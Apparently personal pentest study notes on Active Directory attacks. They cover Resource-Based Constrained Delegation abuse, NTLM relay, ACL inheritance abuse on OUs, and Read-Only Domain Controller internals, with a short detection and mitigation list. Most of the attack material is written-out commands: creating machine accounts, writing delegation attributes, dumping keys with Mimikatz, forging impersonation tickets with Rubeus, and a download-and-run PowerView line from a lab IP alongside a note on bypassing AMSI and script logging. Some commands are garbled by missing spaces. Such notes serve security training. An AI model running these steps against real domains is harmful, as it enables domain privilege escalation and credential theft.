1️⃣1️⃣ S4U2Proxy in Your Attack

Now your machine asks the KDC again:

“Give me a ticket for Administrator → WEB01.”

The KDC checks:


Does WEB01 allow SWJFVMVD$ delegation?

Because of RBCD the answer is:


YES

So the KDC issues:


TGS(Administrator → WEB01)

1️⃣2️⃣ Final Result

Now the attacker has a service ticket that says:


User = Administrator

Service = WEB01

So when connecting to WEB01:


WEB01 trusts the ticket

And the attacker becomes:


Administrator on WEB01

without knowing the password.


🧠 One Sentence Summary

The double hop problem prevents a service from impersonating a user to another service.

S4U2Self + S4U2Proxy solve this by letting a service ask the KDC for impersonation tickets, and RBCD defines which services are allowed to do that.

How the configuration & verification part works ??

1️⃣ Where the RBCD Setting Actually Lives

RBCD is stored in the target computer object in Active Directory.

Attribute:


msDS-AllowedToActOnBehalfOfOtherIdentity

Important detail:

This attribute is not just a string or SID.

It is a Security Descriptor (SD) — basically an ACL.

Think of it like a mini access control list inside the computer object.

Example conceptually:


Object: WEB01$

Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity

                     Allow: ATTACKER$

Security Descriptor:

   Allow SID ATTACKER$ to delegate

   Allow: ATTACKER$

So the DC stores something like:


DACL:

  ACE: ALLOW ATTACKER$ SID

Meaning:


ATTACKER$ can act on behalf of users to WEB01

2️⃣ What Happens When We Configure RBCD

When we run a command like:


impacket-rbcd -delegate-from ATTACKER$ -delegate-to WEB01$

The tool does this internally:

  1. Queries SID of ATTACKER$

  2. Builds a security descriptor

  3. Writes it into


msDS-AllowedToActOnBehalfOfOtherIdentity

of:


WEB01$

So AD now contains something like:


WEB01$

 └─ msDS-AllowedToActOnBehalfOfOtherIdentity

      └─ Allow SID: S-1-5-21-XXXX-XXXX-XXXX-1234 (ATTACKER$)

3️⃣ Now Comes the Kerberos Part

When the attacker performs this:


impacket-getST \

  -impersonate Administrator \

  -spn cifs/web01.domain.local

Two Kerberos extensions are used:


S4U2Self

S4U2Proxy

The important check happens during S4U2Proxy.


4️⃣ Step 1 — Attacker Authenticates as Service

The attacker first authenticates to the KDC as:


ATTACKER$

Using password or NT hash.

This gives a TGT.


ATTACKER$ → TGT

So now the attacker has a Kerberos identity as the service.


5️⃣ Step 2 — S4U2Self Request

The service asks the KDC:


Give me a service ticket for Administrator to myself

Meaning:


Administrator → ATTACKER$

Request contains:


User to impersonate: Administrator

Service requesting: ATTACKER$

KDC checks:


Is ATTACKER$ a valid service?

Yes (it has SPNs).

So it issues a ticket:


Administrator → ATTACKER$

Important:

This ticket is marked:


FORWARDABLE

This is critical for delegation.


6️⃣ Step 3 — S4U2Proxy Request

Now attacker asks the KDC:


I have a ticket for Administrator.

Allow me to access WEB01 as Administrator.

This is the delegation request.

Request contains:


User: Administrator

Delegating service: ATTACKER$

Target service: cifs/web01

Now the KDC must decide:


Is ATTACKER$ allowed to delegate to WEB01?

7️⃣ What the KDC Does Internally

The KDC performs these checks:

Step 1

Find the target service object.


WEB01$

Step 2

Read attribute:


msDS-AllowedToActOnBehalfOfOtherIdentity

Step 3

Extract the security descriptor.

Example inside:


ALLOW SID: ATTACKER$

Step 4

Compare requesting service SID.


Requestor = ATTACKER$

Step 5

Evaluate ACL.

Conceptually:


if ATTACKER$ SID ∈ allowed list

      allow delegation

else

      deny

8️⃣ If the Check Passes

The KDC generates a service ticket:


Administrator → WEB01

Example SPN:


cifs/web01.domain.local

Now the attacker has:


Administrator service ticket for WEB01

9️⃣ What the Ticket Contains

The TGS contains:


Client: Administrator

Service: WEB01

Delegated by: ATTACKER$

But WEB01 only sees:


Client: Administrator

So WEB01 believes:


Administrator authenticated

It does not know delegation happened.

1️⃣1️⃣ Why the KDC Trusts This

Because RBCD tells the KDC:


The resource (WEB01) explicitly trusts ATTACKER$

So the logic becomes:


WEB01 says ATTACKER$ can impersonate users to it

Therefore the KDC is allowed to generate:


Administrator → WEB01

1️⃣2️⃣ Why the Attack Works Even If Admin Never Logged In

Because the KDC does not verify that the user authenticated to the service.

Kerberos assumption:


Trusted services can request tickets for users

This is required for:


Web servers

SQL servers

SharePoint

Exchange

So the KDC allows the service to act on behalf of the user.


1️⃣3️⃣ Simplified Real-World Analogy

Imagine a building.


WEB01 = secure room

ATTACKER$ = receptionist

Administrator = CEO

WEB01 writes in its policy:


Receptionist is allowed to bring anyone into the room.

Now receptionist tells security:


The CEO needs access to WEB01.

Security checks:


Does WEB01 trust receptionist?

Yes.

So security opens the door.

Even if the CEO never came to the building.


Final Key Understanding

The KDC does not blindly trust the service.

It verifies delegation using:


msDS-AllowedToActOnBehalfOfOtherIdentity

stored on the target resource.

If the requesting service SID is inside that security descriptor, the KDC issues the delegated TGS.

Conditions To Work

Generic All / Write on Computer

🧠 Core Requirement for RBCD

To abuse:


Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

👉 You need:


A machine account YOU control

❓ Your Question

Do we need to create a machine account (MachineAccountQuota=10) or already have one?

👉 ✔ BOTH are valid paths


🔥 1. Case 1 — MachineAccountQuota > 0 (DEFAULT = 10)

🧠 What it means

  • Any domain user can create up to 10 computer accounts

⚔️ Step-by-Step

Step 1 — Create machine account


impacket-addcomputer domain.local/user:pass-computer-name ATTACKER$ -computer -pass Pass123!

Step 2 — Get SID of machine


impacket-lookupsid domain.local/user:pass@DC_IP

Step 3 — Set RBCD on target


Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

✅ Result

👉 Your fake machine can now impersonate users to TARGET


🔥 2. Case 2 — MachineAccountQuota = 0

🧠 What it means

  • You cannot create new machines

⚔️ What you need

👉 Already compromised:

  • A computer account (e.g., WS01$)

  • OR credentials/hash of a machine


✔ Example


You dumped credentials of:

   WS01$

👉 Use that instead of creating new one


✅ Result

👉 Same RBCD attack works


🔥 3. Case 3 — You already have a computer account

🧠 Example

  • You compromised:
    • WEB01$
    • APP01$

👉 Directly use its SID


⚠️ Important Requirement (VERY IMPORTANT)


You must control a principal that supports delegation

✔ Valid principals:

  • Computer accounts ✅

  • Service accounts (rare cases) ✅

❌ Normal users → NOT useful for RBCD

GenericAll on OU

🔑 Key Concept: Inheritance in AD

🧩 Two things matter

1. Is inheritance enabled on child objects?

Each object (user/computer) has:


"Protect object from inheritance"
  • ✅ Disabled → inherits permissions from OU

  • ❌ Enabled → blocks inheritance


2. Did your ACE include inheritance flags?

When you run:


Add-DomainObjectAcl -Rights All

👉 By default, it may NOT apply to child objects unless inheritance flags are set


🔥 So what really happens?

Case 1: No inheritance flags set ❌

👉 You only control:


OU=IT

You DO NOT control:

  • Users inside OU

  • Computers inside OU


Case 2: Inheritance flags enabled ✅

If ACE is applied like:


This object + Descendant objects

AND

Child objects allow inheritance

👉 Then:


OU → permissions flow down → users/computers

⚔️ When exploitation works

✅ Full abuse condition

You need BOTH:

  1. ACE with inheritance flags

  2. Child objects not blocking inheritance


💥 Result

Then you can:

  • Reset passwords of users

  • Add users to groups

  • Modify computer objects

  • Perform attacks like:

    • RBCD (on computers)
    • Force password change
    • Shadow credentials

🎯 Step 1: Add rights over USER objects


Add-DomainObjectAcl `

-TargetIdentity"OU=IT,DC=domain,DC=local" `

-PrincipalIdentityattacker `

-RightsResetPassword `

-InheritanceTypeDescendents `

-TargetTypeUser

🎯 Step 2: Add rights over COMPUTER objects


Add-DomainObjectAcl `

-TargetIdentity"OU=IT,DC=domain,DC=local" `

-PrincipalIdentityattacker `

-RightsAll `

-InheritanceTypeDescendents `

-TargetTypeComputer

🧠 What this does

👉 You are telling Active Directory:

“Apply these permissions to all child user/computer objects inside this OU”


🔍 Verify it worked

Check ACLs


Get-DomainObjectAcl -Identity "OU=IT,DC=domain,DC=local" -ResolveGUIDs

Look for:

  • InheritedObjectType: User

  • InheritedObjectType: Computer


⚠️ Step 3 — Check if inheritance is blocked

Even if you did everything right…

👉 child objects might have:


"Protect object from inheritance"

🔎 Check via PowerView


Get-DomainUser-SearchBase"OU=IT,DC=domain,DC=local"|

Get-ObjectAcl

🔎 Or manually (GUI)

  • Open ADUC

  • User → Properties → Security → Advanced

  • Check:


"Enable inheritance"

RBCD + Relay Attacks

🧩 Step 1 — Forcing WEB01 to Authenticate

You forced WEB01 to connect to your machine using a coercion technique.

Imagine the attacker tells WEB01:

“Hey WEB01, go check this network share for me.”

So WEB01 tries to access:


\\attacker\share

Because it is a Windows machine, it automatically authenticates using its machine account:


WEB01$

So the authentication flow becomes:


WEB01 → Attacker

Authentication identity: WEB01$

🔁 Step 2 — Relaying That Authentication to the Domain Controller

Instead of accepting that authentication, your relay server forwards it to the Domain Controller.

So the flow becomes:


WEB01 → Attacker → Domain Controller

To the Domain Controller it looks like:

“WEB01 is connecting to LDAP.”

So now the Domain Controller believes the attacker is WEB01$.

Meaning the attacker temporarily has WEB01’s privileges in Active Directory.


🏗 Step 3 — Creating an Attacker Machine

Active Directory has a default rule:

Any authenticated user or machine can create up to 10 computer accounts.

So while the attacker is authenticated as WEB01$, the relay attack creates a new computer object in Active Directory.

Example:


Computer created: SWJFVMVD$

Now inside AD there is a new machine object that you control.

Think of it like adding a new computer to the domain:


Domain Computers

 ├─ WEB01

 ├─ DC01

 └─ SWJFVMVD   ← attacker machine

The attacker now knows the password of this machine account, so it can authenticate as it anytime.


🧩 Step 4 — Setting the RBCD Permission

Now the relay attack performs the most important step.

A computer account can often modify certain attributes of its own object.

It modifies a setting on WEB01.

The setting is an attribute called:


msDS-AllowedToActOnBehalfOfOtherIdentity

This attribute means:

“Which machines are allowed to impersonate users when accessing this server?”

The relay attack updates it so that:


WEB01 allows SWJFVMVD$

Conceptually inside Active Directory it becomes:


WEB01

   trusts

SWJFVMVD$

   to act on behalf of users

This is the Resource-Based Constrained Delegation configuration.

Important detail:

RBCD is set on the target server.

So in your attack:


RBCD is set on WEB01

not on the attacker machine.


🎭 Step 5 — Attacker Uses the New Machine Identity

Now the attacker logs in as the machine that was created earlier:


SWJFVMVD$

Think of it as:

“I am now operating as the computer SWJFVMVD in the domain.”

This machine account is treated as a service account in Kerberos.

That means it can use a feature called S4U delegation.


🎭 Step 6 — First Kerberos Trick (S4U2Self)

The attacker machine asks the Domain Controller:

“I am SWJFVMVD.

Please give me a ticket for user Administrator to myself.”

Even though Administrator never logged in, the Domain Controller allows this request.

So the Domain Controller creates a ticket that says:


User: Administrator

Service: SWJFVMVD

Meaning:

SWJFVMVD is acting on behalf of Administrator.

But this ticket still cannot access WEB01 yet.


📁 Step 7 — Second Kerberos Trick (S4U2Proxy)

Now SWJFVMVD asks the Domain Controller again:

“I have a ticket representing Administrator.

I want to access WEB01 as Administrator.”

Before granting that ticket, the Domain Controller checks the delegation policy.

It checks the attribute on WEB01:


msDS-AllowedToActOnBehalfOfOtherIdentity

And it sees:


SWJFVMVD$ is allowed

So the Domain Controller approves the request.


🎟 Step 8 — Final Ticket Issued

The Domain Controller now creates a new ticket:


User: Administrator

Service: WEB01

This ticket basically says:

“Administrator is accessing WEB01.”

But in reality, the attacker is holding the ticket.


🖥 Step 9 — Attacker Accesses WEB01

Now the attacker connects to WEB01 and presents the ticket.

WEB01 reads it and sees:


User = Administrator

Because the ticket came from the Domain Controller, WEB01 trusts it completely.

So the attacker is now effectively:


Administrator on WEB01

Why Computer Account Creation Is Important ??

1️⃣ Yes — Users Can Have SPNs

In Active Directory, SPNs are not limited to computers.

You can assign an SPN to:

  • Computer accounts

  • Service accounts (user accounts)

  • Managed service accounts (gMSA)

Example user service account:


sqlsvc

Assign an SPN:


setspn -S MSSQLSvc/sql01.domain.local sqlsvc

Now Kerberos knows:


MSSQLSvc/sql01.domain.local → sqlsvc

That means the user account is now a Kerberos service.

So technically:

✔ Yes — a user with an SPN can perform S4U operations.


2️⃣ So Why Do Attackers Create a Computer?

Because any domain user can create a computer by default, but cannot modify SPNs on arbitrary users.

Default AD setting:


MachineAccountQuota = 10

Meaning:

Any authenticated user can run something like:


impacket-addcomputer

and create:


ATTACKER$

No special privileges needed.

But adding an SPN to a user usually requires:


GenericWrite

WriteProperty

ServicePrincipalName write permissions

on that user.

So from an attacker perspective:

Option | Requirement |
— | — |
Create machine | Works with any domain user |
Add SPN to user | Requires privileges |

That’s the main reason.


3️⃣ Computer Accounts Already Have SPNs

When you create a machine, AD automatically assigns several SPNs.

Example:


HOST/ATTACKER

HOST/ATTACKER.domain.local

CIFS/ATTACKER

So the machine is immediately usable as a Kerberos service.

No configuration needed.

That makes it perfect for:


S4U2Self

S4U2Proxy

4️⃣ Kerberos Needs a Service to Perform S4U

For S4U to work, the requesting account must be a service identity.

That means it must have an SPN.

Example:


Service → requests ticket for user

Example flow:


ATTACKER$ → requests ticket for Administrator

Kerberos allows it because:


ATTACKER$ has SPNs

5️⃣ Could We Use a User Instead?

Yes — if you control a user account with an SPN.

Example:


svc_web

SPN:


HTTP/web.domain.local

Then the attack could be:


svc_web → impersonate Administrator → WEB01

This works exactly the same way.

But again, attackers rarely have rights to add SPNs.


6️⃣ Example Comparison

Method 1 — Using Computer (Common)

Step 1


impacket-addcomputer pirate.htb/user:pass -computer-name ATTACKER$

Step 2

Set RBCD


impacket-rbcd -delegate-from ATTACKER$ -delegate-to WEB01$

Step 3


impacket-getST -impersonate Administrator

Done.


Method 2 — Using User (Rare)

You would need:


GenericWrite on user account

Then:


setspn -S HTTP/fake.domain svc_user

Then the RBCD attack works.

But you already needed privileges, so the machine method is simpler.


7️⃣ Why Most Attack Chains Use Computers

Because it works with zero privileges.

Default AD configuration:


MachineAccountQuota = 10

So every domain user can create machines.

That means an attacker with just:


Domain user credentials

can obtain a Kerberos service identity.

That’s why almost every tool (Impacket, ntlmrelayx, Powermad) creates machines.

Windows Setup + Example ( PoC )

🛠️ 1. Exploiting RBCD

Step-by-step Attack Chain:

Step 1: Configure RBCD (Set msDS-AllowedToActOnBehalfOfOtherIdentity)

Before exploiting RBCD we often have to first configure it on the target system and this done by taking the access of the system, So first we have to take the remote access of the system.

Using your access, configure the delegation settings on dcorp-mgmt

Examples:

First get access to ciadmin using jenkin, refer privilege escalation video.

Disable script logging bypass and amsi:

Download and execute powerview in memory:


iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.64/powerview.ps1'))

Setting RBCD on dcorp-mgmt :


Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std464$' -Verbose
  • This adds dcorp-student1$ and to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on dcorp-mgmt$

for above dcorp-mgmt is the second hop and we are saying “for dcorp-mgmt allow delegation from dcorp-student(first hop)”.

Note:- We must have local admin rights on device which we are adding for delegation(dcorp-student).


Same using AD module:


$comps = 'dcorp-student1$','dcorp-student2$'

Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps
  • This adds dcorp-student1$ and dcorp-student2$ to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on dcorp-mgmt$.

  • Now, these machines can impersonate any domain user to the dcorp-mgmt service using S4U2Self + S4U2Proxy flow.

  • dcorp-student1$ and dcorp-student2$ are the machine on machine on will act as first hop and dcorp-mgmt$ will be second hop.


Checking whether the RBCD has been set:


Get-DomainRBCD

From above image we can see that student1 machine has been added to delegation list. So, now using Student1 account we can access any service on DCORP-MGMT$ on behalf of any user.

Step 2: Extract AES Key from Controlled Computer Account

From new elevated shell, use Mimikatz to extract AES256 key from dcorp-student1$:


Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

Or

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -agrs "sekurlsa::evasive-keys" "exit"
  • This gives you the Kerberos long-term key for the computer account (needed for forging tickets via S4U2Self).

from above image we can see that there are two student1 accounts and they both have different keys, now how to know which account to target? - look at SID, the SID of 1st account denotes that its a virtual account, which systems keeps on creating and deleting on itself, while second student1 account has valid SID, hence we will target second account.


Step 3: Use Rubeus to Perform S4U2Self + S4U2Proxy

With the key in hand, you can impersonate any user (say, Administrator) and access dcorp-mgmt:


C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-student1$ /aes256:<AESKEY> /impersonateuser:Administrator /msdsspn:http/dcorp-mgmt /ptt

Exmaple:- 

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-std464$ /aes256:ccbc0dea361939622730abe237913939afcb84ee53f401b6f6c6316538a66712/ impersonateuser:Administrator /msdsspn:http/dcorp-mgmt /ptt

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-studentX$ /aes256:ccbc0dea361939622730abe237913939afcb84ee53f401b6f6c6316538a66712 /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt
  • s4u: Initiates the S4U process

  • impersonateuser: The user you want to impersonate

  • msdsspn: The SPN of the backend service (dcorp-mgmt)

  • /ptt: Pass-the-ticket directly into memory

To view whether you got the ticket run klist command.


Step 4: Access the Backend Host

Now you have a Kerberos ticket that allows you to impersonate Administrator on dcorp-mgmt.

Use WinRS or PSRemoting to access:


winrs -r:dcorp-mgmt cmd.exe

✅ You now have Administrator access on dcorp-mgmt, impersonating through the trusted delegation path.


🔎 Summary of Attack Path:

  1. You control dcorp-student1$ (via admin access to student VM).

  2. You have write permissions to msDS-AllowedToActOnBehalfOfOtherIdentity on dcorp-mgmt.

  3. You configure RBCD so dcorp-student1$ is trusted to delegate.

  4. Extract AES key of dcorp-student1$ via Mimikatz.

  5. Use Rubeus to impersonate Administrator to dcorp-mgmt.

  6. Access dcorp-mgmt as Administrator.


🚨 Additional Notes & Detection

🔍 Detection:

  • Event ID 4769: TGS requests, especially for sensitive users

  • Event ID 4624: Logon events showing unusual user logons from machine accounts

  • Monitor modifications to msDS-AllowedToActOnBehalfOfOtherIdentity via Directory Services Changes auditing

  • Flag any use of S4U2Self/S4U2Proxy (e.g., via Rubeus)

🧱 Mitigation:

  • Restrict who can write to msDS-AllowedToActOnBehalfOfOtherIdentity

  • Lower ms-DS-MachineAccountQuota to 0 if not needed

  • Monitor ACLs using BloodHound or PowerView

  • Avoid giving unnecessary write access to computer accounts

Can User Account Enough ??

1️⃣ Starting Situation

Suppose you find in BloodHound:


attacker_user

      │

GenericWrite

      │

FILE01$

Meaning:


attacker_user can modify FILE01$ attributes

One of those attributes is:


msDS-AllowedToActOnBehalfOfOtherIdentity

So the user can configure RBCD on FILE01.

Key Rule to Remember

For RBCD delegation:


Delegating account must have an SPN

So attackers usually use:


Computer accounts

Service accounts

instead of normal users.


2️⃣ First Thought (Your Idea)

You might think:


FILE01$

msDS-AllowedToActOnBehalfOfOtherIdentity:

   attacker_user

Meaning:


attacker_user can impersonate users to FILE01

But here’s the catch.


3️⃣ Why a Normal User Usually Fails

RBCD ultimately relies on Kerberos service delegation.

To perform the S4U steps, the delegating account must behave like a service.

That means the account must have an SPN (Service Principal Name).

Typical accounts with SPNs:


Computer accounts

Service accounts

Accounts running services

Normal users usually do not have SPNs, so they cannot request the required service tickets for S4U2Self/S4U2Proxy.

So this setup normally won’t work directly:


FILE01$

msDS-AllowedToActOnBehalfOfOtherIdentity:

   attacker_user

If You Control a User Account

If you compromise a user account and can modify its attributes, you can add an SPN.

Example:


user: attacker_user

Add SPN:


HTTP/fake

Now that user behaves like a Kerberos service.

5️⃣ Now the Delegation Works

Because the user now has an SPN, Kerberos treats it like a service.

The user can perform the delegation steps.

Step 1 — S4U2Self

The account requests:


Administrator → attacker_user

Ticket returned:


Administrator → attacker_user

Step 2 — S4U2Proxy

Then the account requests:


Administrator → FILE01

The KDC checks FILE01’s delegation attribute:


msDS-AllowedToActOnBehalfOfOtherIdentity

Sees:


attacker_user allowed

So it issues:


Administrator → FILE01

6️⃣ Result

The attacker can now access FILE01 as Administrator.

Example services might include:


CIFS/FILE01

HOST/FILE01

RPC/FILE01

7️⃣ Why Attackers Often Use Computers Instead

Even though the user+SPN trick works, attackers often just create a computer account because:

Computer accounts automatically:

  • have SPNs

  • support delegation operations

  • integrate smoothly with Kerberos tooling

And they can usually create them because of:


MachineAccountQuota

(default = 10)

8️⃣ The Attack Pattern You Described

Your chain would look like this:


Compromise user

      │

Add SPN to user

      │

GenericWrite on target computer

      │

Set RBCD

      │

S4U2Self

      │

S4U2Proxy

      │

Impersonate Administrator to target

This is a valid RBCD abuse scenario.

RODC = Golden Ticket + Keylist Attack - Extra

What is RODC ??

🔐 Read-Only Domain Controller (RODC)

1. 📌 What is an RODC?

A Read-Only Domain Controller (RODC) is a type of Domain Controller introduced in Windows Server 2008 that:

  • Holds a read-only copy of Active Directory (AD)

  • Is designed for untrusted or physically insecure environments (e.g., branch offices)

  • Can authenticate users, but cannot modify AD data

👉 Think of it as:

“A Domain Controller with limited trust and limited power”

2. ⚙️ How RODC Works

🔁 Replication Model

Inbound only replication

  • Receives data from writable DCs

  • ❌ Never sends changes back


📂 Active Directory Database

  • Stores:
    • Users, groups, policies (read-only)
  • Does NOT store by default:
    • Password hashes
    • Sensitive attributes (e.g., LAPS, BitLocker keys)

🔑 Authentication Flow

Case 1: Password Cached

  1. User logs in

  2. RODC checks local cache

  3. Authenticates locally ✅

Case 2: Password NOT Cached

  1. RODC forwards request to writable DC

  2. Writable DC authenticates

  3. Password may be cached (based on policy)


3. 🔐 Credential Caching (Core Concept)

Default Behavior

  • ❌ No passwords stored

Configurable via:

  • Password Replication Policy (PRP)

PRP Controls:

Policy Type | Description |
— | — |
Allow | Accounts whose passwords CAN be cached |
Deny | Accounts NEVER cached (e.g., Domain Admins) |

⚠️ Important Rule:

For local authentication:

  • ✅ User password must be cached

  • ✅ Computer password must be cached


4. 🛡️ Key Security Features

1. Read-Only AD Database

  • Prevents unauthorized AD modifications

2. Filtered Attribute Set (FAS)

  • Sensitive attributes are never replicated

  • Examples:

    • BitLocker keys
    • LAPS passwords

3. Credential Isolation

  • Only selected credentials stored

  • Limits blast radius if compromised


4. Admin Role Separation

  • Local admin access can be delegated

  • ❌ No Domain Admin privileges required


5. SYSVOL Protection

  • Changes on RODC:
    • ❌ Not replicated to domain

6. DNS (Read-Only / Secondary)

  • Prevents DNS tampering

5. ⚖️ RODC vs Writable DC

Feature | Writable DC | RODC |
— | — | — |
AD Database | Read + Write | Read-Only |
Password Storage | All accounts | Selective caching |
Replication | Bi-directional | Inbound only |
Admin Rights | Domain Admin needed | Delegatable |
Security Risk | High impact | Limited (in theory) |

6. 🌍 Why RODCs Are Important

✔️ 1. Branch Office Security

  • Used where:
    • Physical security is weak
    • IT staff is limited

✔️ 2. Reduced Risk Exposure

  • Even if stolen:
    • No full AD database
    • Limited credentials

✔️ 3. Local Authentication

  • Allows logins without WAN dependency

✔️ 4. Controlled Credential Storage

  • Prevents sensitive accounts from exposure

✔️ 5. Delegated Management

  • Non-admin users can manage the server

7. ⚠️ Real-World Misuse (Very Important)

This is where things start breaking:

❌ Common Mistakes

  • Adding Domain Users / Authenticated Users to cache policy

  • Allowing too many credentials to be cached

  • Delegating RODC admin to low-priv users

  • Treating RODC like a normal server


💥 Result:

RODC becomes:

“Almost a writable DC… but insecure”


8. 🧠 Key Takeaways

  • RODC is:
    • A security trade-off, not a secure DC replacement
  • Security depends heavily on:
    • Password Replication Policy
    • Who manages it
  • Misconfigured RODC:
    • Can lead to credential exposure
    • Can become a pivot point for domain compromise

🔐 RODC Internal Design & Key Attributes

1. 🧩 RODC Administration Model (No Local Accounts)

📌 Key Concept

  • When a server becomes a Domain Controller:
    • ❌ Local users/groups disappear
    • ✅ Active Directory controls access

👉 So question:

Who manages an RODC if Domain Admins shouldn’t log into it?

🔑 Solution: managedBy Attribute

  • Attribute: managedBy

  • Stored on: RODC computer object in AD


PS C:Userselad> Get-ADComputer RODC -Properties msDS-KrbTgtLink

DistinguishedName : CN=RODC,CN=Computers,DC=shenanigans,DC=labs

DNSHostName       : RODC.shenanigans.labs

Enabled           : True

msDS-KrbTgtLink   : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs

Name              : RODC

ObjectClass       : computer

ObjectGUID        : 2b81a6b5-926d-438b-8003-cb173ce196d6

SamAccountName    : RODC$

SID               : S-1-5-21-1437000690-1664695696-1586295871-1110

UserPrincipalName :

PS C:Userselad> Get-ADUser krbtgt_25078 -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl

DistinguishedName          : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs

Enabled                    : False

GivenName                  :

msDS-KrbTGTLinkBl          : {CN=RODC,CN=Computers,DC=shenanigans,DC=labs}

msDS-SecondaryKrbTgtNumber : 25078

Name                       : krbtgt_25078

ObjectClass                : user

ObjectGUID                 : bdac311c-60a7-45fc-8997-09cf258570c0

SamAccountName             : krbtgt_25078

SID                        : S-1-5-21-1437000690-1664695696-1586295871-1111

Surname                    :

UserPrincipalName          :

✔️ What it does:

  • Specifies a user or group

  • That entity gets:

    • Local Administrator access on the RODC

⚠️ Why This Matters

  • This is NOT just informational (unlike normal AD objects)

  • It directly controls administrative access


🧠 Summary

Attribute | Purpose | Impact |
— | — | — |
managedBy | Defines RODC admin | Grants local admin rights |

Discovering RODCs is pretty easy. We can query for all “krbtgt” accounts in AD or simply ask for all computer accounts with attributes unique to RODCs (msDS-Reveal-OnDemandGroup, msDS-NeverRevealGroup, msDS-RevealedList, msDS-AuthenticatedToAccountList – described further down in the post).

Searching for computers with the PrimaryGroupID set to ‘521’ will return domain RODCs (or search for DCs with “IsReadOnly” set to True) which effectively identifies them being in the group “Read-only Domain Controllers’.

🔐 RODC Default Denied Groups (Password Replication Protection)

📌 What is this?

These are high-privilege Active Directory groups that are explicitly blocked from having their credentials cached on an RODC.

👉 Controlled via:

  • msDS-NeverRevealGroup (Deny List)

🚫 Default Denied Groups

These groups are never allowed to have passwords stored on an RODC:

Group | Why it is Protected |
— | — |
Cert Publishers | Can publish certificates → potential auth abuse |
Domain Admins | Full domain control |
Domain Controllers | Control AD replication & authentication |
Enterprise Admins | Forest-wide control |
Group Policy Creator Owners | Can modify GPOs → indirect privilege escalation |
krbtgt | Kerberos signing account (Golden Ticket risk) |
Read-only Domain Controllers | Prevent cross-RODC credential exposure |
Schema Admins | Can modify AD schema (very high privilege) |

🔑 Why This Exists

🎯 Core Idea:

“RODC should NEVER hold Tier Zero credentials”


🔥 If these were cached:

  • Attacker compromises RODC ➜ dumps hashes ➜

  • Immediate:

    • Domain takeover
    • Forest compromise
    • Golden Ticket creation

⚙️ How It Works Internally

When authentication happens:

  1. RODC checks:
    • Is user in Allow List (msDS-RevealOnDemandGroup)?
  2. Then checks:
    • Is user in Deny List (msDS-NeverRevealGroup)?

⚠️ Important Rule:

Deny ALWAYS overrides Allow

Even if:

  • A Domain Admin is mistakenly added to Allow list ❌

➡️ It still will NOT be cached


🧠 Special Case: RODC Account Itself

  • RODC computer account:
    • Password IS stored locally
    • But:
      • ❌ Other RODC accounts are NOT cached

👉 Prevents:

  • Credential sharing between RODCs

🔐 Security Significance

✔️ 1. Protects Tier Zero

These groups are:

  • Core identity controllers

  • Must never exist on less-trusted systems


✔️ 2. Limits Blast Radius

If RODC is compromised:

  • Only non-critical accounts exposed

✔️ 3. Enforces Trust Boundary

RODC = Lower trust zone

Writable DC = Higher trust zone


⚠️ Reality Check (Important Insight)

Even with this protection:

  • ❌ Only these groups are protected by default

  • ❌ Other privileged accounts (e.g., service accounts, delegated admins) may still be cached

👉 Meaning:

Security depends heavily on how the Allow list is configured

2. 🔑 Authentication Design in RODC

RODC must authenticate users without full trust


📌 Core Requirement

To authenticate locally:

  • Needs user password

  • Needs computer password

👉 But:

  • RODC does NOT store all passwords

3. 📋 Password Replication Control (Critical)

This is controlled using two main attributes


✅ 1. Allowed List

Attribute: msDS-RevealOnDemandGroup

✔️ Purpose:

  • Defines:

    “Whose credentials can be fetched & cached”


❌ 2. Denied List

Attribute: msDS-NeverRevealGroup

✔️ Purpose:

  • Defines:

    “Whose credentials must NEVER be cached”

⚠️ Priority Rule

  • Deny list ALWAYS wins

Get-ADComputer $ROCName -Property * | Select Name,ManagedBy,’msDS-AuthenticatedToAccountlist’,’msDS-NeverRevealGroup’,’msDS-RevealedDSAs’,’msDS-RevealedUsers’,’msDS-RevealOnDemandGroup’

🧠 Summary

Attribute | Role | Behavior |
— | — | — |
msDS-RevealOnDemandGroup | Allow list | Can cache credentials |
msDS-NeverRevealGroup | Deny list | Never cache |

4. 🔄 Authentication Flow (Step-by-Step)

Case: Password NOT Cached

  1. User logs in

  2. RODC → forwards request to writable DC

  3. Writable DC authenticates user

  4. RODC requests password

  5. If allowed → password cached locally


Case: Password Cached

  1. User logs in

  2. RODC authenticates locally ✅


5. 🔐 Kerberos Design in RODCs

📌 Problem:

RODC cannot use domain-wide KRBTGT key


✔️ Solution: Per-RODC KRBTGT Account

Each RODC gets:

  • A unique Kerberos service account

Naming Format:

  • KRBTGT_XXXXX

🔗 Key Attributes

1. On RODC Computer Object:

  • msDS-KrbTgtLink
    • Points to its KRBTGT account

2. On KRBTGT Account:

  • msDS-KrbTgtLinkBl (backlink)
    • Points back to RODC

3. Key Version:

  • msDS-SecondaryKrbTgtNumber
    • Tracks key version (kvno)

🧠 Summary

Component | Purpose |
— | — |
KRBTGT (domain) | Full domain tickets |
KRBTGT_XXXXX | RODC-specific tickets |
msDS-KrbTgtLink | RODC → KRBTGT mapping |

6. 🎟️ Ticket Generation in RODC

✔️ When RODC issues TGT:

  • Uses:
    • Its own KRBTGT_XXXXX key
  • Includes:
    • kvno (key version number)

✔️ Ticket Usage:

  • Can request:
    • Service tickets (TGS)

✔️ Validation by Writable DC:

Writable DC will accept RODC TGT only if:

  • ✅ User is in msDS-RevealOnDemandGroup

  • ❌ NOT in msDS-NeverRevealGroup


🔄 Ticket Upgrade

